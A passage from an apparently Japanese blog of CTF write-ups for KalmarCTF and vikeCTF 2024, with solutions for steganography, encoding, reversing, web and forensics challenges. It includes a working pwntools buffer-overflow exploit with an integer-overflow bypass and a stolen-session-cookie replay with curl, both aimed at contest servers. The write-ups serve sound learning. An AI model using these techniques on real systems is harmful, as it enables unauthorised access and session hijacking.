KalmarCTF 2024 Writeup

この大会は2024/3/16 2:00(JST)~2024/3/18 2:00(JST)に開催されました。
今回もチームで参戦。結果は332点で726チーム中74位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

First Flag (misc)

Rulesのページの最後にフラグが書いてあった。

kalmar{I_have_read_the_rules}

vikeCTF 2024 Writeup

この大会は2024/3/9 9:00(JST)~2024/3/11 9:00(JST)に開催されました。
今回もチームで参戦。結果は940点で326チーム中33位でした。
自分で解けた問題をWriteupとして書いておきます。

Code of Conduct (ADMIN)

問題にフラグが書いてあった。

vikeCTF{1_4CC3P7_7H3_C0ND1710N5}

Hidden Valor (MISC)

steghideで空パスワードで秘密情報を抽出する。

$ steghide extract -sf vikeCTF-logo.jpeg
Enter passphrase: 
wrote extracted data to "haxor-cat.jpeg".

再びsteghideで空パスワードで秘密情報を抽出する。

$ steghide extract -sf haxor-cat.jpeg   
Enter passphrase: 
wrote extracted data to "pencil.jpeg".

さらにsteghideで空パスワードで秘密情報を抽出する。

$ steghide extract -sf pencil.jpeg   
Enter passphrase: 
wrote extracted data to "payload".

$ cat payload         
MDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAwMTAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDExMDAwMTEgMDAxMDAwMDAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAxMDA=

以下の順にデコードする。

・base64
・2進数
・16進数
・シーザー暗号
#!/usr/bin/env python3
from base64 import *
import string

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

ct = 'MDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAwMTAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDExMDAwMTEgMDAxMDAwMDAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAxMDA='

msg = b64decode(ct).decode()
print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 2))
print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 16))
print(msg)

msg = caesar(msg, 13)
print(msg)

実行結果は以下の通り。

00110110 00111001 00100000 00110111 00110110 00100000 00110111 00111000 00100000 00110111 00110010 00100000 00110101 00110000 00100000 00110100 00110111 00100000 00110101 00110011 00100000 00110111 01100010 00100000 00110011 00110101 00100000 00110110 00110111 00100000 00110011 00110011 00100000 00110111 00110100 00100000 00110011 00110000 00100000 00110110 00110001 00100000 00110011 00110000 00100000 00110111 00110100 00100000 00110110 00110101 00100000 00110011 00110100 00100000 00110110 00110011 00100000 00110111 00110101 00100000 00110110 01100011 00100000 00110010 00110001 00100000 00110111 01100100
69 76 78 72 50 47 53 7b 35 67 33 74 30 61 30 74 65 34 63 75 6c 21 7d
ivxrPGS{5g3t0a0te4cul!}
vikeCTF{5t3g0n0gr4phy!}
vikeCTF{5t3g0n0gr4phy!}

The Usual (MISC)

$ checksec --file the-usual
[*] '/media/sf_Shared/the-usual'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Welcome to the flag shop!");
  main_loop();
  return 0;
}

void main_loop(void)

{
  int iVar1;
  uint local_20;
  uint local_1c;
  char *local_18;
  uint local_10;
  uint local_c;
  
  local_c = 100;
  while( true ) {
    while( true ) {
      printf("%s",MENU);
      printf("Your balance is $%d\n",(ulong)local_c);
      local_1c = 0;
      local_18 = "What would you like to buy? (1-5) ";
      iVar1 = read_uint(&local_1c,"What would you like to buy? (1-5) ");
      if (((iVar1 != -1) && (local_1c != 0)) && (local_1c < 6)) break;
      puts("I\'m afraid we don\'t sell that");
    }
    if (local_1c == 5) break;
    local_20 = 0;
    local_18 = "How many would you like? ";
    iVar1 = read_uint(&local_20,"How many would you like? ");
    if (iVar1 == -1) {
      puts("I can\'t sell that many");
    }
    else {
      iVar1 = can_afford(local_c,local_20,local_1c);
      if (iVar1 == 0) {
        puts("You can\'t afford that");
      }
      else {
        local_10 = 0;
        do {
          if (local_1c == 1) {
            local_c = local_c - 10;
            print_quote();
          }
          else if (local_1c == 2) {
            local_c = local_c - 0x2d;
            print_art();
          }
          else if (local_1c == 3) {
            local_c = local_c - 0x82;
            print_stand();
          }
          else {
            if (local_1c != 4) {
              puts("Goodbye!");
              return;
            }
            puts("Sorry, the flag is under maintenance");
          }
          local_10 = local_10 + 1;
        } while (local_10 < local_20);
      }
    }
  }
  puts("Goodbye!");
  return;
}

void print_quote(void)

{
  puts("I see the flag! It\'s so... flappy!");
  return;
}

void print_art(void)

{
  puts(
      "  (_)\n   |       _,--,_\n   |-:\'--~\'      |\n   | :           |\n   | :     _,--,_|\n   |- :\'--~\'\n   |\n   |\n   |\n   |\n   |\n   |\n-------"
      );
  return;
}

void print_stand(void)

{
  char local_28 [32];
  
  printf("What would you like your flag stand to say? ");
  fgets(local_28,300,stdin);
  puts(
      "Great! Your organic, custom-engraved flag stand will be delivered within three to six busines s weeks"
      );
  return;
}

void print_flag(void)

{
  int iVar1;
  FILE *__stream;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Couldn\'t find the flag!");
  }
  else {
    while( true ) {
      iVar1 = fgetc(__stream);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
    fclose(__stream);
  }
  return;
}

所持金より購入する単価×個数が小さくなれば購入できる。整数オーバーフローを狙う。

>>> (2**32 // 130) + 1
33038210

3番の「An organic, custom-engraved flag stand」を33038210個購入すると指定すれば、条件をクリアできる。さらにprint_flag関数をコールするようになっていないので、print_stand関数のBOFを利用して、print_flag関数をコールする。

#!/usr/bin/env python3
from pwn import *

p = remote('35.94.129.106', 3008)

elf = ELF('./the-usual')

print_flag_addr = elf.symbols['print_flag']

payload = b'A' * 40
payload += p64(print_flag_addr)

data = p.recvuntil(b') ').decode()
print(data + '3')
p.sendline(b'3')
data = p.recvuntil(b'? ').decode()
print(data + '33038210')
p.sendline(b'33038210')
data = p.recvuntil(b'? ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode()
print(data)
data = p.recvline().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 35.94.129.106 on port 3008: Done
[*] '/media/sf_Shared/the-usual'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Welcome to the flag shop!

Please make a selection:
1: A life-altering flag-themed quote, $10
2: A hand-typed, bespoke, artist's rendition of the flag, $45
3: An organic, custom-engraved flag stand, $130
4: The flag, $20,000
5: Exit

Your balance is $100
What would you like to buy? (1-5) 3
How many would you like? 33038210
What would you like your flag stand to say? b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW\x15@\x00\x00\x00\x00\x00'
Great! Your organic, custom-engraved flag stand will be delivered within three to six business weeks

vikeCTF{B!n@ry_Xp10!7@7!0N_X64}

[*] Closed connection to 35.94.129.106 port 3008
vikeCTF{B!n@ry_Xp10!7@7!0N_X64}

Hidden Treasure (MISC)

FTK Imagerで開き、vol6/home/viktor/snap/firefox/common/.mozzila/firefox/gafhcvjb.default/cookies.dbをエクスポートする。
hostが35.94.129.106のクッキーとして以下のデータがある。

key: session
value: 6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389

クッキーにこの情報を設定して、アクセスする。

$ curl -b "session=6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389" http://35.94.129.106:3005/      
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WINNER WINNER CHICKEN DINNER</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@1/css/pico.min.css">
</head>

<body>
    <main class="container">
        <h1>vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}</h1>
    </main>
</body>

</html>
vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}

Program With Jokes (REVERSE)

LOLCODEというもののプログラムらしい。ネット上の情報を見て、コードを読み解いていく。
I HAS文は変数定義なので、以下のようになる。

FLAG_START = "vikeCTF{3S073riC_"
FLAG_KEY = "xxxxxxxxxx"
FLAG_END = "}"
KEY = YARN(文字列)
HALO_LOL_CATZZ = BUKKIT

HALO_LOL_CATZZ HAS文はよくわからないが、同じく変数定義として書き出してみる。

CHEEZBURGER = "L"
KITTEH = 5
NOM = 1
MEW = "G"
HOOMAN = "G"
PURRITO = 7
MEOWZART = "C"
CATTITUDE = "_"
PAWTY = 0
MEOWTAIN = 4

以下の文で上記の定義で該当する文字を並べてみる。

BOTH SAEM KEY AN SMOOSH HALO_LOL_CATZZ'Z CHEEZBURGER HALO_LOL_CATZZ'Z PAWTY HALO_LOL_CATZZ'Z NOM HALO_LOL_CATZZ'Z MEOWZART HALO_LOL_CATZZ'Z MEOWTAIN HALO_LOL_CATZZ'Z PURRITO HALO_LOL_CATZZ'Z KITTEH HALO_LOL_CATZZ'Z CATTITUDE HALO_LOL_CATZZ'Z MEW HALO_LOL_CATZZ'Z HOOMAN MKAY, O RLY?
CHEEZBURGER: "L"
PAWTY: "0"
NOM: "1"
MEOWZART: "C"
MEOWTAIN: "4"
PURRITO: "7"
KITTEH: "5"
CATTITUDE: "_"
MEW: "G"
HOOMAN: G

FLAG_KEYが"L01C475_GG"であると推測し、フラグとして結合する。

vikeCTF{3S073riC_L01C475_GG}

Ponies (WEB)

しばらくすると、あちこちに文字が表示され、何もできなくなる。curlでHTMLソースを確認する。

$ curl http://35.94.129.106:3009/                            
<!DOCTYPE html>
<html>
    <head>
        <script id="preventions">
            document.addEventListener("contextmenu", function(e) {
                e.preventDefault();
            });
            document.addEventListener("click", function(e) {
                var el = document.documentElement,
                    rfs = el.requestFullscreen;
                if (typeof rfs != "undefined" && rfs) {
                    rfs.call(el);
                }
            });
        </script>
        <script type="text/javascript" src="https://browser.pony.house/js/ponybase.js"></script>
        <script type="text/javascript" src="https://browser.pony.house/js/browserponies.js" id="browser-ponies-script"></script>
        <style>
            .center {
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100%;
            }

            .unselectable {
                -webkit-touch-callout: none;
                -webkit-user-select: none;
                -khtml-user-select: none;
                -moz-user-select: none;
                -ms-user-select: none;
                user-select: none;
            }

            .background {
                height: 100%;
                width: 100%;
                left: 0;
                right: 0;
                top: 0;
                bottom: 0;
                position: absolute;
                background: linear-gradient(124deg, #ff2400, #e81d1d, #e8b71d, #e3e81d, #1de840, #1ddde8, #2b1de8, #dd00f3, #dd00f3);
                background-size: 1800% 1800%;
                -webkit-animation: rainbow 18s ease infinite;
                -z-animation: rainbow 18s ease infinite;
                -o-animation: rainbow 18s ease infinite;
                animation: rainbow 18s ease infinite;
            }

            @-webkit-keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }

            @-moz-keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }

            @-o-keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }

            @keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }
        </style>
    </head>
    <body>
        <div class="background">
            <div class="center">
                <h1 class="unselectable">The flag is <code id="flag">Arriving shortly...</code>
                </h1>
            </div>
        </div>
        <script type="text/javascript">
            let intervalMs = 500;
            let initialPonies = 500;
            let incrementalPonies = 100;
            let cfg = {
                baseurl: "https://browser.pony.house/",
                fadeDuration: 500,
                volume: 1,
                fps: 25,
                speed: 1,
                audioEnabled: false,
                showFps: false,
                showLoadProgress: false,
                speakProbability: 0.01,
            };
            BrowserPonies.setBaseUrl(cfg.baseurl);
            BrowserPonies.loadConfig(BrowserPoniesBaseConfig);
            BrowserPonies.loadConfig(cfg);
            BrowserPonies.spawnRandom(initialPonies);
            BrowserPonies.start();
            let counter = 0;

            function recursiveSpawn() {
                BrowserPonies.spawnRandom(incrementalPonies);
                if (!BrowserPonies.running()) {
                    counter = counter + 1;
                    document.getElementById("flag").innerHTML = "arriving shortly" + ".".repeat(counter % 4);
                    setTimeout(recursiveSpawn, intervalMs);
                } else {
                    setTimeout(() => {
                        var tag = document.createElement("script");
                        tag.src = "/gag.js";
                        document.getElementsByTagName("head")[0].appendChild(tag);
                    }, "7000");
                }
            }
            recursiveSpawn();
        </script>
    </body>
</html>

gag.jsを見てみる。

$ curl http://35.94.129.106:3009/gag.js                          
document.getElementById("flag").innerHTML = "vikeCTF{ponies_for_life}";
vikeCTF{ponies_for_life}

Norse Cryptogram (CRYPTOGRAPHY)

以下の順にデコードする。

・2進数
・base64
・base64
・ASCIIコード
・base64
・16進数
・base32
・シーザー暗号
#!/usr/bin/env python3
from base64 import *
import string

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

with open('runicTranscript.txt', 'r') as f:
    codes = f.read().split(' ')

msg = ''
for code in codes:
    msg += chr(int(code, 2))
print(msg)

for _ in range(2):
    msg = b64decode(msg).decode()
    print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code))
print(msg)

msg = b64decode(msg).decode()
print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 16))
print(msg)

lines = msg.split('\n')
msg = ''
for line in lines:
    msg += line.split('|')[1]
msg = b32decode(msg).decode()
print(msg)

msg = caesar(msg, 12)
print(msg)

実行結果は以下の通り。

TnpjZ01USXlJRFkxSURFd015QTNOeUF4TWpJZ05qVWdNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjNElERXdOaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUF4TURNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzT0NBeE1EWWdPRGtnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGMzSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM09DQXhNRFlnTnpNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURnMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTROU0F4TURNZ056Z2dNVEEySURZNUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpnZ01UQTJJRFk1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemNnTVRJeUlERXdNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBNU9TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjNElERXdOaUEyT1NBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjNElEVXdJRGMzSURFd015QTNPQ0EzTVNBNE5TQXhNRE1nTnpnZ05qZ2dOek1nTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpnZ09EUWdNVEF6SURFd015QTNPQ0EzTVNBNE9TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNPQ0EzTVNBM015QXhNRE1nTnpnZ09EUWdOalVnTVRBeklEYzRJRFk0SURFd055QXhNRE1nTnpnZ09EY2dOamtnTVRBeklEYzRJRGN4SURZNUlERXdNeUEzT0NBMk9DQXhNRE1nTVRBeklEYzRJRGcwSURrNUlERXdNeUEzT0NBNE55QTJPU0F4TURNZ056Z2dOamdnTnpNZ01UQXpJRGM0SURnMElEZzFJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemNnTnpFZ05qa2dNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBMk9TQXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM055QXhNaklnT1RrZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1qSWdPRGtnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpjZ01USXlJRGs1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemdnTVRBMklEWTVJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURjeklERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01USXlJRGc1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemdnTVRBMklEYzNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTNOeUF4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01USXlJREV3TnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTRPU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUF4TURNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemdnTmpnZ09Ua2dNVEF6SURjNElEWTRJRGc1SURFd015QTNPQ0EyT0NBeE1EY2dNVEF6SURjNElEWTRJRGd4SURFd015QTNPQ0EyT0NBNU9TQXhNRE1nTnpnZ09EY2dOamtnTVRBeklEYzRJRFk0SURjeklERXdNeUEzT0NBNE5DQTRPU0F4TURNZ056Z2dOekVnTnpjZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Z2dPRFFnTVRBM0lERXdNeUEzT0NBMk9DQTRPU0F4TURNZ056Z2dOamdnT0RVZ01UQXpJRGM0SURnMElERXdNeUF4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzT0NBMk9DQTROU0F4TURNZ056Z2dOVEFnTnpjZ01UQXpJRGMzSURjeElEWTVJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBMk5TQXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TWpJZ056TWdNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURFd055QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ056Y2dNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTROU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjM0lERXlNaUEzTnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ056Y2dNVEF6SURjM0lERXlNaUE1T1NBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjNElERXdOaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBMk9TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUEzTnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTJPU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjNElEVXdJRGMzSURFd015QTNPQ0EyT0NBeE1EY2dNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemdnTnpFZ09EVWdNVEF6SURjNElEWTRJRGd4SURFd015QTNPQ0EyT0NBM055QXhNRE1nTnpnZ09EUWdPREVnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01USXlJRGs1SURFd015QTNPQ0EzTVNBM015QXhNRE1nTnpjZ01USXlJRGcxSURFd015QTNPQ0EzTVNBNE5TQXhNRE1nTnpnZ05qZ2dPREVnTVRBeklEYzRJRFk0SURZNUlERXdNeUEzT0NBNE5DQTNOeUF4TURNZ056Z2dOekVnTmprZ01UQXpJRGM0SURnMElEY3pJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemNnTnpFZ05qa2dNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBM055QXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM055QXhNaklnT1RrZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzT0NBeE1EWWdPRFVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpnZ01UQTJJRGd4SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemdnTVRBMklEZ3hJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTNOeUF4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBM055QXhNRE1nTnpjZ01USXlJRGcxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXd